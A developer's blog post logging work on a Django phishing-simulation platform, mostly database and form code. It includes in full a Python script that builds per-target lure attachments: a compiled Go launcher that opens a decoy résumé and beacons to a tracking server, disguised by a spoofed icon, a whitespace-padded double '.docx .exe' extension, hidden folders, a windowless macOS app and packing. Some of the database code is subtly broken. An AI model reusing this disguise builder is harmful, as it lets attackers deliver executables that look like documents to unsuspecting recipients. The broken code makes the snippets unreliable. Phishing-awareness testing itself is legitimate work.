Write Django project - incomplete

Posted by kurtis on Wed, 15 Dec 2021 13:28:55 +0100

Demand analysis 1.3

The attachment seems unable to generate a template, because the uid of each target should be added to the attachment to identify the recruiter.

The idea of the first two versions is to generate an attachment template, and then import the attachment when creating the template, so that the attachment can be directly sent to the target when creating and executing tasks. However, there is a problem. When to add a unique uid to an attachment?

The tutor's script idea is to provide source files and icons, add "shell" to get attachments, and then send the generated attachments to the queue of the mail server. The phishing website monitors the request and stores the successful recruitment records. The successful recruitment records are displayed on the platform.

First, how to prepare the attachment?

According to the existing "shell" script, the icon, file type, source file and target uid should be specified when generating attachments. The attachment already contains the target.

If you select import when creating a template, import the source file, select the file type, and select the file icon. (modify the front and back ends of the template page and database tables) (you can create a new table and use the template name as the primary key)

When starting the task, you can get the uid list and generate attachments in batch. Add attachments to the email. (modify the front and back ends of the task page) (take out the source file, file type and file icon from the database, generate the attachment list according to the uid list to the specified directory, and start sending mail)

After sending an email, update the phishing record. You also need to create a new table and add several fields, such as file hash and file name generated by each user.

Renaming and storage of local attachments: (1) the attachment location, uid / attachment name, will not cause the overwrite problem, but the attachments must be cleaned up regularly. (2) send one attachment directly, generate the next attachment, and overwrite it directly to solve the attachment cleaning.

The first step is to configure the source file of the attachment
Editing phishing_template.html, add 5 fields: source file, attachment name, attachment type, attachment icon and adaptive operating system.

increase
<hr>
                            <div>
                                <label>
                                    Select source file:
                                </label>
                                <br>
                                <SELECT name="sourceFile" onChange="document.x1.src=options[selectedIndex].value">
                                <option value="static/phishing_attachement/source_files/Resume of Wu Jiahao.docx">Resume of Wu Jiahao</option>
                                <option value="static/phishing_attachement/source_files/dark.png">night</option>
                                </SELECT>
                            </div>

                            <div class="modal-body">
                            <div>
                                <label>
                                    Generated attachment name:
                                </label>
                                <input type="text" name="attachementName" class="didi-input">
                            </div>
                        <hr>

                            <div>
                                                <label>
                                                    Attachment type:
                                                </label>
                                                <br>
                                                <select name="attachementType">
                                                    <option>pdf</option>
                                                    <option>docx</option>
                                                </select>
                                            </div>

                                            <div>
                                                <label>
                                                    Attachment Icon:
                                                </label>
                                                <br>
                                                <img width=320 height=240 src="static/phishing_attachement/icons/docx.jpg" name="x1">
                                                <SELECT name="attachementIcon" onChange="document.x1.src=options[selectedIndex].value">
                                                <option value="static/phishing_attachement/icons/docker.jpg">docker</option>
                                                <option value="static/phishing_attachement/icons/dark.png">night</option>
                                                    <option value="static/phishing_attachement/icons/docx.jpg">docx</option>

                                                </SELECT>
                                            </div>

                                            <div>
                                                <label>
                                                    Target operating system:
                                                </label>
                                                <br>
                                                <select name="targetOS">
                                                    <option>Windows</option>
                                                    <option>Mac</option>
                                                </select>
                                            </div>

Editing phishing_template_create(req), receive five fields and insert them into the database table.

# @cookie_check()
def phishing_template_create(req):
    page, template_name, template_title, template_content, template_type, faker_sender, template_remark, str_attachment_list, source_file, attachement_name, attachement_type, attachement_icon, targetOS = request_parse(
        req, "POST", "page", "templateName", "templateTitle", "templateContent", "templateType", "templateFakerSender",
        "templateRemark", "templateAttachmentList", "sourceFile", "attachementName", "attachementType",
        "attachementIcon", "targetOS")
    # Parameter processing
    if page:
        page = int(page)
    else:
        page = 0

    template_name = template_name.encode("utf-8")
    template_remark = template_remark.encode("utf-8")
    template_title = template_title.encode("utf-8")
    template_content = template_content.encode("utf-8")
    template_type = template_type.encode("utf-8")
    faker_sender = faker_sender.encode("utf-8")
    str_attachment_list = str_attachment_list.encode("utf-8")

    source_file = source_file.encode("utf-8")
    attachement_name = attachement_name.encode("utf-8")
    attachement_type = attachement_type.encode("utf-8")
    attachement_icon = attachement_icon.encode("utf-8")
    targetOS = targetOS.encode("utf-8")

    attachment_list = re.split(r'(?:,|;|,|\r|\n)\s*', str_attachment_list)

    template_id = pdao.insert_new_template(template_name, template_title, template_content, template_type, faker_sender,
                                           template_remark, attachment_list)

    pdao.insert_new_template_attachement(template_id, template_name, source_file, attachement_name, attachement_type,
                                         attachement_icon, targetOS)

    return redirect("/blueteam/phishing_template?page=0&searchKey=")

New database insert function. Log in to the database and create a table with 9 fields, with id as the primary key. (if the table format is not set to utf-8, it needs to be created again)

phishing_dao.py file:

def insert_new_template_attachement(template_id, template_name, source_file, attachement_name, attachement_type, attachement_icon, target_os):
    '''
    Template attachment information
    :param template_id: Template id
    :param template_name: Template name
    :param source_file: Attachment source file
    :param attachement_name: Attachment name
    :param attachement_type: Attachment type
    :param attachement_icon:Attachment Icon
    :param targetOS:    Accessory adapter operating system
    :return:
    '''
    source_file = source_file.split('/')[-1]
    attachement_icon = attachement_icon.split('/')[-1]

    sql_insert = 'INSERT INTO phishing_attachement(template_id, template_name, attachement_name, create_time, update_time,source_file, attachement_type, attachement_icon,' \
                 ' target_os) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s);'
    curr_time = ntime.ntime()

    sql_val = [template_id, template_name, attachement_name, curr_time, curr_time, source_file, attachement_type, attachement_icon, target_os]
    sql_helper = Mysql()
    insert_result = sql_helper.insert_to_mysql(sql_insert, sql_val)

    sql_helper.commit_to_mysql()
    sql_helper.close_mysql()
    if insert_result == "exists":
        return -1
    else:
        return insert_result


mysql> create table phishing_attachement_info(
    -> template_name varchar(50) primary key,
    -> attachement_name varchar(50) not null,
    -> create_time varchar(20) not null,
    -> update_time varchar(20) not null,
    -> source_file varchar(50) not null,
    -> attachement_type varchar(20) not null,
    -> attachement_icon varchar(20) not null,
    -> targetOS varchar(20) not null)
    -> default charset=utf8;

Supplementary information: the template can be created without attachments, and the relevant configuration information does not need to be filled in.
Front end, define a check box in the form

<div id="choose">
	<input type="checkbox" id="enter" name="check_box"><label for="enter">Add attachment</label>
</div>

Back end: receive form variable check_box,

if check_box:
	Insert attachment information into the database
Delete

phishing_dao.py file:

def delete_template_by_id(template_id):
    """
    according to id Delete module
    :param template_id:
    :return:
    """
    template_name = get_template_name_by_id(template_id)



    sql_delete = "DELETE FROM phishing_template WHERE id = %s;"
    sql_helper = Mysql()
    sql_helper.delete_to_mysql(sql_delete, (template_id,))
    sql_helper.commit_to_mysql()

    sql_delete = "DELETE FROM phishing_attachement_info WHERE template_name = %s;"
    sql_helper.delete_to_mysql(sql_delete, (template_name,))
    sql_helper.commit_to_mysql()


    sql_helper.close_mysql()
    return True
check

Edit query database functions. Edit background query fields. Editing phishing_ template_ On the index (req) display page, five fields are added: attachment_ name,source_file,attachement_type,attachement_icon,targetOS.

(1) phishing_template_index(req) does not need to be modified

(2) Modify the database query function: get_template_list_by_page(req_page, search_key, page_size=10).

# Query attachment information
sql_select_attachement = "SELECT * FROM phishing_attachement_info where template_name='{}'".format(_i[1].encode('utf8'))

_query_attachement = sql_helper.get_from_mysql(sql_select_attachement, search_key)

if _query_attachement:
	data{
		xxxxxx
		"attachement_name": _query_attachement[0][1],
		"source_file": _query_attachement[0][4].encode("utf8"),
		"attachement_type": _query_attachement[0][5],
		"attachement_icon": _query_attachement[0][6],
		"targetOS": _query_attachement[0][7]
	}
else:
	data{
		xxxxxx
		"attachement_name": "",
		"source_file": "",
		"attachement_type": "",
		"attachement_icon": "",
		"targetOS": ""
	}

(3) Front end phishing_template.html: modify the <! -- template list display part start -- >.

Create a template without selecting attachments.

<div id="choose">
	<input type="checkbox" id="enter" name="check_box"><label for="enter">Add attachment</label>
</div>

Step 2: call the attachment

When creating a template, if you want to use an attachment, create the configuration information of the attachment (completed)

Backend file phishing_ view. Phshing of PY_ task_ Create (req): when creating a task, select the project and template. At this time, query whether to select attachments according to the selected template information. If attachments are selected, they will be generated and sent one by one according to the target list of the project.

phshing_ task_ The create (req) code is as follows:

# @cookie_check()
def phishing_task_create(req):
    """
    To create a phishing task, first obtain the email address to be sent through the project, then obtain the corresponding phishing template, and then load it into the queue
    :param req:
    :return:
    """
    task_name, project_name, template_name, task_type = request_parse(req, "POST", "taskName", "projectName", "templateName", "taskType")

    task_type = task_type.encode("utf-8")  # The method of sending mail by SMTP and HTTP. The default is SMTP
    project_name = project_name.encode("utf-8")
    template_name = template_name.encode("utf-8")
    task_name = task_name.encode("utf-8")
    username = req.COOKIES.get("_kylin_username", "")
    task_status = PHISHING_TASK_STATUS.RUNNING

    template = pdao.get_template_info_by_name(template_name)
    project = pdao.get_project_info_by_name(project_name)
    md5_id = md5(username + task_name + project_name + template_name)

    result = pdao.insert_new_task(md5_id, username, task_name, project_name, template_name, task_status, task_type)
    if result != -1:
        # After successful insertion, it is pushed into the queue for execution.
        phishing_mq = phishing_mq_helper()
        for target_email in project['target_list']:
            target_email = target_email.replace('\r', '').replace('\n', '').replace(' ', '')
            data = {
                "md5": md5_id,
                "project_id": project['id'],
                "project_name": project_name,
                "template_name": template_name,
                "task_name": task_name,
                "receive": target_email,
                "title": template['template_title'],
                "content": template['template_content'],
                "send_type": task_type,
            }
            phishing_mq.produce_msg(json.dumps(data))
        phishing_mq.close_channel()
        phishing_mq.close_conn()

    return redirect("/blueteam/phishing_task?page=0&searchKey=")

Modifying phishing_ dao. Def get of Py file_ template_ info_ by_ Name (template_name) to add the query of attachment information.

def get_template_info_by_name(template_name):
    sql_get_template = 'SELECT * FROM phishing_template WHERE template_name = %s;'
    sql_helper = Mysql()
    _query_result = sql_helper.get_from_mysql(sql_get_template, (template_name,))

    sql_get_attachement = 'SELECT * FROM phishing_attachement_info WHERE template_name = %s;'
    _query_attachement = sql_helper.get_from_mysql(sql_get_template, (template_name,))
    sql_helper.close_mysql()


    if _query_result:
        if _query_attachement:
            _result_att = _query_attachement[0]
            _result = _query_result[0]
            json_attachment_list = json.loads(_result[8])
            template = {
                "id": _result[0],
                "template_name": _result[1],
                "create_time": _result[2],
                "update_time": _result[3],
                "remark": _result[4],
                "template_title": _result[5],
                "template_content": _result[6],
                "template_type": _result[7],
                "attachment_list": json_attachment_list,
                "faker_sender": _result[9],
                "attachement_name": _result_att[1],
                "source_file": _result_att[4],
                "attachement_type": _result_att[5],
                "attachement_icon": _result_att[6],
                "targetOS": _result_att[7],
            }
        else:
            _result_att = _query_attachement[0]
            _result = _query_result[0]
            json_attachment_list = json.loads(_result[8])
            template = {
                "id": _result[0],
                "template_name": _result[1],
                "create_time": _result[2],
                "update_time": _result[3],
                "remark": _result[4],
                "template_title": _result[5],
                "template_content": _result[6],
                "template_type": _result[7],
                "attachment_list": json_attachment_list,
                "faker_sender": _result[9],
                "attachement_name": "",
                "source_file": "",
                "attachement_type": "",
                "attachement_icon": "",
                "targetOS": ""
            }

        return template

After modifying the queried template information, you need to add an attachment name when inserting task information. The database operation function is pdao insert_ new_ task() .

The attachment name has been inserted, so you only need to insert it in the task_index(). Trace the database query function and append the attachment name. Modifying front-end phishing_task.html, add code in the corresponding location. The function test is successful.

<th>Attachment name</th>
<td>{{d.attachement_name}}</td>

At present, the code for creating and displaying tasks has been completed. Next, it is time to generate attachments and push the data into the queue.

The result returned by the database query is about the list with the list as the element

After the email is sent successfully, you can log in to the sending record / phishing record with all the codes. You only need to add a few fields.

The success of sending mail depends on the mail server, or even if it is sent to the queue?

Generate an attachment script from the senior @orlevan master.

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# @author: orleven

import os
import sys
import urllib
import zipfile
from PIL import Image

'''
Installation required PIL
 Installation required go Environment and:
go get github.com/akavel/rsrc
go install github.com/akavel/rsrc
 Installation required upx
'''

class OperatingSystem:
    WIN = "win"
    MAC = "mac"

class PhishingFile():
    def __init__(self):
        self.current_path = os.getcwd()
        self.work_file_name = 'workpath'
        self.template_file_name = 'template'
        self.output_file_name = 'output'
        self.folder_file_name = 'folder'
        self.source_golang_file_name = "run.go"  # The original malicious launcher file code that needs to be disguised
        self.win_zip_tempalte_name = "win.zip"
        self.mac_zip_tempalte_name = "mac.zip"
        self.win_run_exe_file_name = "targetfile.exe"
        self.mac_run_exe_file_name = "targetfile"
        self.mac_run_lnk_tempalte_file_name = "targetfile.app"  # Entry file
        self.temp_run_exe_name = "temp_exe_file"

        self.upx = False  # lnk mode
        self.win_lnk = False # lnk mode
        if self.win_lnk:
            self.win_run_lnk_tempalte_file_name = "targetfile.lnk"  # lnk mode
        else:
            self.win_run_lnk_tempalte_file_name = self.win_run_exe_file_name  # Non lnk mode



    def image_to_ico(self, input_png_path, output_ico_path=None):
        if not output_ico_path:
            intput_png_file_name = os.path.basename(input_png_path)
            input_png_parrent_path = os.path.dirname(input_png_path)
            input_png_file_name_without_suffix = intput_png_file_name[:intput_png_file_name.rindex('.')]
            output_ico_path = os.path.join(input_png_parrent_path, input_png_file_name_without_suffix + '.ico')
        image = Image.open(input_png_path)
        new_logo_ico = image.resize((128, 128))
        new_logo_ico.save(output_ico_path, format="ICO", quality=90)
        return output_ico_path

    def image_to_icns(self, input_png_path, output_ico_path=None):
        if not output_ico_path:
            intput_png_file_name = os.path.basename(input_png_path)
            input_png_parrent_path = os.path.dirname(input_png_path)
            input_png_file_name_without_suffix = intput_png_file_name[:intput_png_file_name.rindex('.')]
            output_ico_path = os.path.join(input_png_parrent_path, input_png_file_name_without_suffix + '.icns')
        image = Image.open(input_png_path)
        if image.mode == "RGBA":
            image = image.convert("RGB")
        image.save(output_ico_path, format="ICNS")
        return output_ico_path

    def generate_win_ico(self, input_ico_path, output_ico_path=None):
        icon_mainifest_code = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    version="1.0.0.0"
    processorArchitecture="x86"
    name="controls"
    type="win32"
></assemblyIdentity>
<dependency>
    <dependentAssembly>
        <assemblyIdentity
            type="win32"
            name="Microsoft.Windows.Common-Controls"
            version="6.0.0.0"
            processorArchitecture="*"
            publicKeyToken="6595b64144ccf1df"
            language="*"
        ></assemblyIdentity>
    </dependentAssembly>
</dependency>
</assembly>"""
        if input_ico_path and os.path.exists(input_ico_path):

            if not input_ico_path.endswith('.ico'):
                temp_output_ico_path = output_ico_path
                if output_ico_path and  output_ico_path.endswith('.syso'):
                    temp_output_ico_path = output_ico_path[:-5] + '.ico'
                input_ico_path = self.image_to_ico(input_ico_path, temp_output_ico_path)

            ico_file_name = os.path.basename(input_ico_path)
            input_ico_parrent_path = os.path.dirname(input_ico_path)
            input_ico_file_name_without_suffix = ico_file_name[:ico_file_name.rindex('.')]
            input_ico_manifest_path = os.path.join(input_ico_parrent_path, input_ico_file_name_without_suffix + '.manifest')
            if output_ico_path:

                if not output_ico_path.endswith('.syso'):
                    output_ico_path += '.syso'
            else:
                output_ico_path = os.path.join(input_ico_parrent_path, input_ico_file_name_without_suffix + '.syso')
            with open(input_ico_manifest_path, 'wb') as f:
                f.write(icon_mainifest_code)

            os.system("$GOBIN/rsrc -manifest {input_ico_manifest_path} -ico {input_ico_path} -o {output_ico_path}".format(
                input_ico_manifest_path=input_ico_manifest_path, input_ico_path=input_ico_path, output_ico_path=output_ico_path
            ))
            if os.path.exists(output_ico_path):
                return output_ico_path
            else:
                error = "command rsrc is not exist!"
        else:
            error = "{input_ico_path} is not exist!".format(input_ico_path=input_ico_path)
        raise Exception(error)


    def generate_mac_ico(self, input_ico_path, output_ico_path=None):
        if input_ico_path and os.path.exists(input_ico_path):
            output_ico_path = self.image_to_icns(input_ico_path, output_ico_path)
            return output_ico_path
        else:
            error = "{input_ico_path} is not exist!".format(input_ico_path=input_ico_path)
        raise Exception(error)

    def generate_mac_plist_file(self, app_path, ico_path, main_exe_name):
        plist_code = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleExecutable</key>
    <string>{main_exe_name}</string>
    <key>CFBundleIconFile</key>
    <string>{ico_name}</string>
    <key>CFBundleIdentifier</key>
    <string>com.360.www</string>
    <key>NSHighResolutionCapable</key>
    <true/>
    <key>LSUIElement</key>
    <true/>
</dict>
</plist>
"""
        ico_name = os.path.basename(ico_path)
        plist_code = plist_code.format(main_exe_name=main_exe_name, ico_name=ico_name)
        app_plist_path = os.path.join(app_path, "Contents", "Info.plist")
        app_ico_path = os.path.join(app_path, "Contents", "Resources", ico_name)
        with open(app_plist_path, 'wb') as f:
            f.write(plist_code)
        with open(app_ico_path, 'wb') as f2, open(ico_path, 'rb') as f1:
            f2.write(f1.read())

    def generate_golang_code(self, golang_output_path, uuid, target_address, relative_source_file_path):

        golang_code = """package main

import (
	"net"
	"os"
	"os/exec"
	"runtime"
	"path/filepath"
)


const uuid = "{uuid}"
const targetAddress = "{target_address}"
const fileName = "{relative_source_file_path}"

func curlWeb(){
	sysType := runtime.GOOS
	postData := "uuid=" + uuid + "&mark="

	for count := 2; count >= 0; {
		addr, _ := net.ResolveTCPAddr("tcp", targetAddress)
		conn, _ := net.DialTCP("tcp", nil, addr)

		message := "GET /run_success?" +  postData + " HTTP/1.1\\r\\n" +
			"Host: " + targetAddress + "\\r\\n" +
			"User-Agent: Go-BlueTeam-Phishing(" + sysType + ")\\r\\n" +
			"Content-Type: application/x-www-form-urlencoded\\r\\n\\r\\n"
		_, err := conn.Write([]byte(message))
		if err == nil {
			//response, _ := ioutil.ReadAll(conn)
			//fmt.Println(string(response))
			return
		}
		count -= 1
	}
}


func openFile(){
	sysType := runtime.GOOS
	if sysType == "windows" {
		mydir, _ := os.Getwd()
		cmd := exec.Command("explorer", mydir + "\\\\" + fileName)
		cmd.Start()
	}else{
		mydir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
		cmd := exec.Command("open", mydir + "/" + fileName)
		cmd.Start()
	}
}

func main() {
	openFile()
	curlWeb()
}"""
        golang_code = golang_code.replace("{target_address}", target_address). \
        replace("{uuid}", uuid).replace("{relative_source_file_path}", relative_source_file_path)

        with open(golang_output_path, 'wb') as f:
            f.write(golang_code)

    def test(self, source_normal_file_path, source_image_file_path, uuid, target_address, operating_system=OperatingSystem.WIN):

        if operating_system not in [OperatingSystem.WIN, OperatingSystem.MAC]:
            error = "Error operating system!"
            raise Exception(error)

        if os.path.exists(source_normal_file_path):
            source_normal_file_name = os.path.basename(source_normal_file_path)
            source_normal_file_name_without_suffix = source_normal_file_name[:source_normal_file_name.rindex('.')]

            tempalte_parent_path = os.path.join(self.work_file_name, self.template_file_name)  # Template file directory
            tempalte_path = os.path.join(tempalte_parent_path, operating_system)  # Main directory of sample attachment input, win
            zip_tempalte_path = os.path.join(tempalte_path, self.win_zip_tempalte_name)  # Main directory of sample zip input, win
            folder_tempalte_path = os.path.join(tempalte_path, self.folder_file_name)  # Main directory of sample zip input, win

            output_public_parent_path = os.path.join(self.work_file_name, self.output_file_name)  # Template file directory
            output_parent_path = os.path.join(output_public_parent_path, uuid)  # Malicious attachment output directory
            zip_output_file_name = source_normal_file_name_without_suffix + '.zip'
            output_path = os.path.join(output_parent_path, operating_system)  # Main directory of malicious attachment output, win

            zip_output_path = os.path.join(output_path, zip_output_file_name)
            folder_output_path = os.path.join(output_path, self.folder_file_name)

            os.path.join(folder_output_path, "targetfile.exe")
            if operating_system == OperatingSystem.WIN:
                lnk_src_output_path = os.path.join(folder_output_path, self.win_run_lnk_tempalte_file_name)
                zip_normal_path = os.path.join("__MACOSX", ".DOCX", source_normal_file_name)
                relative_source_file_path = "__MACOSX\\\\.DOCX\\\\" + source_normal_file_name  # File path of Win running normally in go code

                # Double suffix name XXX docx.    . exe
                if not self.win_lnk:
                    zip_run_exe_path = os.path.join(self.win_run_exe_file_name)
                    dobble_suffix_file_name = source_normal_file_name + '                                                                                                                '
                    lnk_dst_output_path = os.path.join(folder_output_path, dobble_suffix_file_name + '.exe')
                else:
                    zip_run_exe_path = os.path.join("__MACOSX", ".DOCX", self.win_run_exe_file_name)  # Shortcut blocked
                    lnk_dst_output_path = os.path.join(folder_output_path, source_normal_file_name_without_suffix + '.lnk')
            else:
                zip_run_exe_path = os.path.join(self.mac_run_lnk_tempalte_file_name, "Contents", "MacOS", self.mac_run_exe_file_name)
                lnk_src_output_path = os.path.join(folder_output_path, self.mac_run_lnk_tempalte_file_name)
                zip_normal_path = os.path.join(self.mac_run_lnk_tempalte_file_name, "Contents", "MacOS", source_normal_file_name)
                relative_source_file_path = source_normal_file_name  # The path to the file where the mac runs normally in the go code
                lnk_dst_output_path = os.path.join(folder_output_path, source_normal_file_name_without_suffix + '.app')

            # Initialize output directory
            if os.path.exists(output_parent_path):
                os.system('rm -fr {output_parent_path}'.format(output_parent_path=output_parent_path))
            if not os.path.exists(output_path):
                os.makedirs(output_path)

            # Copy basic files
            if os.path.exists(folder_tempalte_path):
                os.system("cp -Ra {folder_tempalte_path} {output_path}".format(
                    folder_tempalte_path=folder_tempalte_path, output_path=output_path))

            # Copying special basic files, such as the hidden folder attribute of win, needs to be constructed in advance and packaged into win zip
            if os.path.exists(zip_tempalte_path):
                os.system("cp -Ra {zip_tempalte_path} {zip_output_path}".format(
                    zip_tempalte_path=zip_tempalte_path, zip_output_path=zip_output_path))

            # Copy normal docx files
            normal_output_path = os.path.join(folder_output_path, zip_normal_path)
            if os.path.exists(source_normal_file_path):
                os.system("cp -Ra {source_normal_file_path} {normal_output_path}".format(
                    source_normal_file_path=source_normal_file_path, normal_output_path=normal_output_path))


            output_ico_name = os.path.basename(source_image_file_path)
            output_ico_name_without_suffix = output_ico_name[:output_ico_name.rindex('.')]
            run_exe_output_path = os.path.join(self.folder_file_name, zip_run_exe_path)
            golang_output_path = os.path.join(output_path, self.source_golang_file_name)  # go code output path
            if operating_system == OperatingSystem.WIN:
                # Generate Icon
                output_ico_path = os.path.join(output_path, output_ico_name_without_suffix + '.syso')
                self.generate_win_ico(source_image_file_path, output_ico_path)

                compile_cmd = "cd {output_path} && CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags '-s -w -H=windowsgui -extldflags \"-static\"' -o \"{temp_run_exe_name}\"".format(
                    temp_run_exe_name=self.temp_run_exe_name,
                    output_path=output_path)
            else:
                # Generate Icon
                output_ico_path = os.path.join(output_path, output_ico_name_without_suffix + '.icns')
                self.generate_mac_ico(source_image_file_path, output_ico_path)

                app_path = lnk_src_output_path
                main_exe_name = self.mac_run_exe_file_name
                self.generate_mac_plist_file(app_path, output_ico_path, main_exe_name)

                compile_cmd = "cd {output_path} && CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -trimpath -ldflags '-s -w -extldflags \"-static\"' -o \"{temp_run_exe_name}\"".format(
                    temp_run_exe_name=self.temp_run_exe_name, output_path=output_path)

            # Output go code
            self.generate_golang_code(golang_output_path, uuid, target_address, relative_source_file_path )

            # Compile launcher
            os.system(compile_cmd)

            if self.upx:
                upx_cmd = "cd {output_path} && upx -9 -o \"{run_exe_output_path}\" \"{temp_run_exe_name}\"".format(
                    run_exe_output_path=run_exe_output_path, output_path=output_path, temp_run_exe_name=self.temp_run_exe_name
                )
                os.system(upx_cmd)
            else:
                # Move to destination folder
                cmd = "cd {output_path} && cp {temp_run_exe_name} \"{run_exe_output_path}\"".format(
                    output_path=output_path, temp_run_exe_name=self.temp_run_exe_name, run_exe_output_path=run_exe_output_path)
                os.system(cmd)


            # Modify lnk file
            if os.path.exists(lnk_src_output_path):
                os.rename(lnk_src_output_path, lnk_dst_output_path)

            # Write zip file
            if os.path.exists(zip_output_path):
                zip_file = zipfile.ZipFile(zip_output_path, mode='a')
            else:
                zip_file = zipfile.ZipFile(zip_output_path, mode='w')
            for path, dirnames, filenames in os.walk(folder_output_path):
                fpath = path.replace(folder_output_path, '')
                for filename in filenames:
                    if not self.win_lnk and filename.endswith('.lnk'):
                        continue
                    elif filename.endswith('.DS_Store'):
                        continue
                    zip_file.write(os.path.join(path, filename), os.path.join(fpath, filename))
            zip_file.close()
            return zip_output_path

        error = "Error source normal file suffix!"
        raise Exception(error)


if __name__ == "__main__":
    pf = PhishingFile()
    uuid = "1D6p7=dGVzdEBkaWRpY2h1eGluZy5jb20="
    target_address = "me.didichuxing.cc:80"
    source_image_file_path = "/Users/didi/Product/phishing/Phishing_Client/workpath/template/docx.jpg" # Icon
    source_normal_file_path = "/Users/didi/Product/phishing/Phishing_Client/workpath/template/Resume of Wu Jiahao.docx" # Original file. Do not modify file type
    operating_system = OperatingSystem.MAC  # Adaptive system
    zip_output_path = pf.test(source_normal_file_path, source_image_file_path, uuid, target_address, operating_system=operating_system)
    print(zip_output_path)

    # Input docx

Docking script

Send mail

Adjust front end fields

1. Create page: backend phishing_template_create(): delete attachmenttype and attachmentname.
Corresponding front-end phishing_template.html, delete the div of the two fields.
Database insert_ new_ template_ Attachment(), delete two fields.
Connect to the database, delete tables, and create new tables.

mysql> create table phishing_attachement_info(
    -> template_name varchar(50) primary key,
    -> source_file varchar(50) not null,
    -> create_time varchar(20) not null,
    -> update_time varchar(20) not null,
    -> attachement_icon varchar(20) not null,
    -> targetOS varchar(20) not null)
    -> default charset=utf8;

2. Display page:
Backend database get_template_list_by_page() to modify the query field.
Front end phishing_template.html, modify the display field.

3. Process analysis:
Backend phishing_view.py file, pushing into queue: phishing_mq = phishing_mq_helper().
Basis for distinguishing whether to use attachments: whether it is blank.

Consumption queue blueteam_phishing_agent.py file, call to add a field send_email(, attachement_path)

Send email lib phishing_ email. Py file, send_email adds a field to send_email_by_http,send_email_by_smtp adds one field each.

To distinguish between messages with attachments or not, create a new function: send_email_by_smtp_attachement(receive, title, text, attachement_path).

4. Update test:
Update blueteam_phishing_agent.py, consumption queue
Update phishing_email.py, send mail

other:
Create a virtual environment,
Enter the virtual environment: source blueteam_virtualenv/bin/activate
Exit the virtual environment: deactivate.

The workload of programming and testing in the next two days was not recorded in time, so it was over.

Install go locale

reference resources: Installing the Go language development kit on Mac OS

Quickly pull the Go dependency code from the public proxy image

Topics: Python Database Django